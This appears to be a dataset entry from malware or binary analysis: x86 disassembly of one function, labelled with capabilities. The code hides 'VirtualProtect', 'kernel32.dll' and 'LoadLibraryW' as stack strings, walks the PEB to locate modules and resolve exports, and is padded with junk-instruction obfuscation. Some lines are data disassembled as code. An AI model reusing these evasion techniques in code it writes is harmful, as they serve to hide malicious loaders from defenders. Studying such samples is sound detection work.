Function at 0x47de94
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
add ebx, 0xe34c
call 0x47d689
add byte [esi + 0x4f], al
inc ebp
inc edi
cmp cl, byte [eax + 0x34]
inc ecx
inc ebp
inc eax
add esp, 4
jmp 0x47d691
pop ebx
push edi
sub edi, 0x6663
and edi, 0x14f8a
pop edi
mov dword [ebp - 0x7a0], 0
jmp 0x47dd99
push edx
or edx, 0x14375
and edx, 0x5c25
pop edx
push edx
push eax
add esp, 4
call 0x47ddbc
add byte [eax + 0x33], cl
xor bh, byte [edx]
cmp eax, 0x443d3e4a
inc eax
add esp, 4
jmp 0x47ddc4
or edx, 0x10afe
pop edx
mov ecx, dword [ebp - 0x3e4]
add ecx, 0xe
mov dword [ebp - 0x1a10], ecx
push ecx
xor ecx, 0xfd9d
pop ecx
push ebx
push esi
add esp, 4
add ebx, 0x7f70
add ebx, 0x14926
add ebx, 0x4f5b
pop ebx
push ebx
push ecx
add esp, 4
sub ebx, 0x109c5
xor ebx, 0x6815
pop ebx
cmp dword [ebp - 0x3e4], 0
je 0x47de1e
cmp dword [ebp - 0xac4], 0
jne 0x47de64
push ecx
push esi
add esp, 4
sub ecx, 0xdac3
call 0x47de38
add byte [0x49504549], bh
dec edi
inc esp
cmp ecx, dword [edx - 0x7d]
les eax, [ebx + ebp*8]
add al, 0x48
inc edi
xor eax, dword [ecx + 0x59]
push esi
or esi, 0xba75
add esi, 0x83e2
pop esi
mov edx, dword [ebp - 0x7a0]
mov dword [ebp - 0x19c4], edx
push 0
call dword [ebp - 0x19c4]
mov dword [ebp - 0x20dc], 0xa
push edi
push eax
add esp, 4
xor edi, 0xa88b
or edi, 0x1539e
or edi, 0x1211d
call 0x47de94
add byte [esi], bh
inc ebp
cmp esi, dword [ebx]
cmp esi, dword [edx + esi]
cmp cl, byte [ebx - 0x7d]
les eax, [edi + ebx*2]
push edx
add edx, 0x8d9c
pop edx
mov eax, dword [ebp - 0x3e4]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3ed], cl
mov edx, dword [ebp - 0xac4]
sub edx, dword [ebp - 0x3e4]
mov dword [ebp - 0x169c], edx
mov dword [ebp - 0xcec], 0
push ebx
push edi
add esp, 4
or ebx, 0xc671
pop ebx
push esi
push edx
add esp, 4
add esi, 0x81eb
and esi, 0x2e96
and esi, 0x1b0a
xor esi, 0xc759
pop esi
push edi
xor edi, 0xdfc1
pop edi
mov byte [ebp - 0x9d8], 0x56
mov byte [ebp - 0x9d7], 0x69
mov byte [ebp - 0x9d6], 0x72
mov byte [ebp - 0x9d5], 0x74
mov byte [ebp - 0x9d4], 0x75
mov byte [ebp - 0x9d3], 0x61
mov byte [ebp - 0x9d2], 0x6c
mov byte [ebp - 0x9d1], 0x50
mov byte [ebp - 0x9d0], 0x72
mov byte [ebp - 0x9cf], 0x6f
mov byte [ebp - 0x9ce], 0x74
mov byte [ebp - 0x9cd], 0x65
mov byte gs:[ebp - 0x9cc], 0x63
mov byte [ebp - 0x9cb], 0x74
mov byte [ebp - 0x9ca], 0
push eax
push edx
add esp, 4
or eax, 0x978c
pop eax
push edi
jmp 0x47df79
xor edi, 0x68d1
pop edi
push esi
push eax
add esp, 4
call 0x47df94
add byte [ebx + 0x37], al
xor al, byte ds:[eax + 0x3c]
xor al, 0x4d
inc ebp
add esp, 4
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x19c8], eax
mov ecx, dword [ebp - 0x19c8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x19cc], edx
mov eax, dword [ebp - 0x19cc]
mov dword [ebp - 0x161c], eax
push ebx
add ebx, 0x6817
and ebx, 0x13c25
sub ebx, 0xf9a
pop ebx
push esi
push ebx
add esp, 4
sub esi, 0xa61f
or esi, 0x12ad6
xor esi, 0x81b2
and esi, 0x77ca
pop esi
cmp dword [ebp - 0x161c], 0
jne 0x47e009
mov dword [ebp - 0x2f4], 0
jmp 0x47e2b0
mov ecx, dword [ebp - 0x161c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcc8], eax
push esi
push ebx
add esp, 4
and esi, 0xbab2
pop esi
push ecx
and ecx, 0x14cb4
add ecx, 0x3cde
pop ecx
push edx
push edx
add esp, 4
xor edx, 0x875b
jmp 0x47e046
add edx, 0x6081
pop edx
cmp dword [ebp - 0xcc8], 0
jne 0x47e065
mov dword [ebp - 0x2f4], 0
jmp 0x47e2b0
mov ecx, dword [ebp - 0xcc8]
mov dword [ebp - 0x518], ecx
push eax
push esi
add esp, 4
jmp 0x47e07f
jmp 0x47e084
jmp 0x47e08a
and eax, 0x6b62
pop eax
push ebx
push ebx
add esp, 4
or ebx, 0x10856
add ebx, 0x324d
pop ebx
lea edx, [ebp - 0x1740]
mov dword [ebp - 0xcc4], edx
mov eax, dword [ebp - 0x518]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcc0], ecx
xor edx, edx
mov word [ebp - 0x21c], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edx
add edx, 0x66c9
add edx, 0x6ed1
pop edx
push ebx
and ebx, 0x8915
pop ebx
push ecx
add ecx, 0x64c1
sub ecx, 0xb56b
pop ecx
push esi
add esi, 0xd860
xor esi, 0x116d8
pop esi
mov ecx, dword [ebp - 0xcc0]
mov dx, word [ecx]
mov word [ebp - 0x1042], dx
mov eax, dword [ebp - 0xcc0]
add eax, 2
mov dword [ebp - 0xcc0], eax
mov cx, word [ebp - 0x1042]
mov word [ebp - 0x21c], cx
mov edx, dword [ebp - 0xcc4]
mov ax, word [edx]
mov word [ebp - 0x1044], ax
mov ecx, dword [ebp - 0xcc4]
add ecx, 2
mov dword [ebp - 0xcc4], ecx
mov dx, word [ebp - 0x1044]
mov word [ebp - 0x38], dx
push ecx
push eax
add esp, 4
or ecx, 0x33a3
add bl, ch
invalid
pop ecx
push eax
call 0x47e178
add byte [esi + 0x47], cl
aas
dec ebp
inc edx
dec esi
dec esp
inc ebx
add esp, 4
or eax, 0x2d11
add eax, 0x16c23
pop eax
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x47e1a5
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1624], ecx
jmp 0x47e1ff
movzx eax, word [ebp - 0x21c]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x47e0cd
movzx edx, word [ebp - 0x21c]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x47e0cd
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x47e1e9
mov dword [ebp - 0x1620], 0xffffffff
jmp 0x47e1f3
mov dword [ebp - 0x1620], 1
mov eax, dword [ebp - 0x1620]
mov dword [ebp - 0x1624], eax
cmp dword [ebp - 0x1624], 0
jne 0x47e248
push esi
jmp 0x47e211
jmp 0x47e219
pop esi
push edx
xor edx, 0x9815
pop edx
push ebx
push edi
add esp, 4
add ebx, 0x16e7e
or ebx, 0x641c
add ebx, 0x11985
pop ebx
mov ecx, dword [ebp - 0x518]
mov dword [ebp - 0x2f4], ecx
jmp 0x47e2b0
push edi
call 0x47e258
add byte [ecx], bh
inc ecx
inc ebp
dec edi
xor eax, dword [ebx + 0x34]
xor eax, 0x4c48344
sub edi, 0x24da
pop edi
push esi
push edi
add esp, 4
xor esi, 0x5d5b
xor esi, 0xfd8a
sub esi, 0xc15d
pop esi
mov edx, dword [ebp - 0x518]
mov eax, dword [edx]
mov dword [ebp - 0x518], eax
mov ecx, dword [ebp - 0x518]
cmp ecx, dword [ebp - 0xcc8]
je 0x47e2a6
mov edx, dword [ebp - 0x518]
cmp dword [edx + 0x30], 0
jne 0x47e071
mov dword [ebp - 0x2f4], 0
push edi
push edx
add esp, 4
xor edi, 0x1b29
or edi, 0x19e8
pop edi
push edx
push eax
add esp, 4
or edx, 0x2680
and edx, 0x16606
add edx, 0x5c55
pop edx
push edx
sub edx, 0x5bc3
pop edx
cmp dword [ebp - 0x2f4], 0
jne 0x47ebe7
mov eax, 0x6b
mov word [ebp - 0x17c8], ax
mov ecx, 0x65
mov word [ebp - 0x17c6], cx
mov edx, 0x72
mov word [ebp - 0x17c4], dx
mov eax, 0x6e
mov word [ebp - 0x17c2], ax
mov ecx, 0x65
mov word [ebp - 0x17c0], cx
mov edx, 0x6c
mov word [ebp - 0x17be], dx
mov eax, 0x33
mov word [ebp - 0x17bc], ax
mov ecx, 0x32
mov word [ebp - 0x17ba], cx
mov edx, 0x2e
mov word [ebp - 0x17b8], dx
mov eax, 0x64
mov word [ebp - 0x17b6], ax
mov ecx, 0x6c
mov word [ebp - 0x17b4], cx
mov edx, 0x6c
mov word [ebp - 0x17b2], dx
xor eax, eax
mov word [ebp - 0x17b0], ax
push edi
push edx
add esp, 4
sub edi, 0x947c
sub edi, 0xc0e
add edi, 0xbf74
add edi, 0x9ef2
pop edi
push ebx
or ebx, 0x15eab
and ebx, 0x940e
and ebx, 0x1758b
pop ebx
mov byte [ebp - 0x8a8], 0x4c
mov byte [ebp - 0x8a7], 0x6f
mov byte [ebp - 0x8a6], 0x61
mov byte [ebp - 0x8a5], 0x64
mov byte [ebp - 0x8a4], 0x4c
mov byte [ebp - 0x8a3], 0x69
mov byte [ebp - 0x8a2], 0x62
mov byte [ebp - 0x8a1], 0x72
mov byte [ebp - 0x8a0], 0x61
mov byte [ebp - 0x89f], 0x72
mov byte [ebp - 0x89e], 0x79
mov byte [ebp - 0x89d], 0x57
mov byte [ebp - 0x89c], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19d0], ecx
mov edx, dword [ebp - 0x19d0]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19d4], eax
mov ecx, dword [ebp - 0x19d4]
mov dword [ebp - 0x1628], ecx
push eax
push edx
add esp, 4
jmp 0x47e449
and eax, 0x62b1
pop eax
push edi
call 0x47e45f
add byte [ebp + 0x33], cl
dec edi
aaa
xor eax, 0x83414235
les eax, [ecx + eax*4]
out 0x87, eax
add eax, dword [ecx]
add byte [ecx + 0x470df7], al
add byte [edi - 0x7d], bl
mov ebp, 0xffffe9d8
add byte [ebp + 0xf], dh
mov dword [ebp - 0x778], 0
jmp 0x47e72e
push esi
push ecx
add esp, 4
sub esi, 0x1306e
or esi, 0x1db2
add esi, 0x6299
pop esi
push esi
sub esi, 0x337d
xor esi, 0xf0b
add esi, 0x16bb9
or esi, 0x16e43
pop esi
cmp dword [ebp - 0x778], 0
jne 0x47e7aa
push ecx
and ecx, 0x7de6
call 0x47e77e
add byte [ecx + 0x38], cl
xor eax, dword [ebx + 0x3c]
dec esp
inc ebp
inc ecx
add esp, 4
jmp 0x47e788
pop ecx
push ebx
push eax
add esp, 4
add ebx, 0xb3a5
xor ebx, 0x91b
pop ebx
mov dword [ebp - 0xac0], 0
jmp 0x47f2d2
push eax
or eax, 0x7b0d
xor eax, 0xc965
xor eax, 0x133e3
pop eax
push ebx
push ebx
add esp, 4
or ebx, 0x10e2d
or ebx, 0x14f2d
jmp 0x47e7d5
sub ebx, 0xb5f1
pop ebx
mov ecx, dword [ebp - 0x778]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x3a4], edx
mov dword [ebp - 0x788], 0
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x1674], eax
cmp dword [ebp - 0x1674], 0
jne 0x47e81b
mov ecx, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], ecx
jmp 0x47eb0c
mov edx, dword [ebp - 0x1674]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1678], eax
jne 0x47e843
mov ecx, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], ecx
jmp 0x47eb0c
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1678]
dec dword [ebx - 0x7687feac]
xchg ebp, eax
sub cl, 0xff
inc dword [ebx - 0x167f43]
inc dword [eax]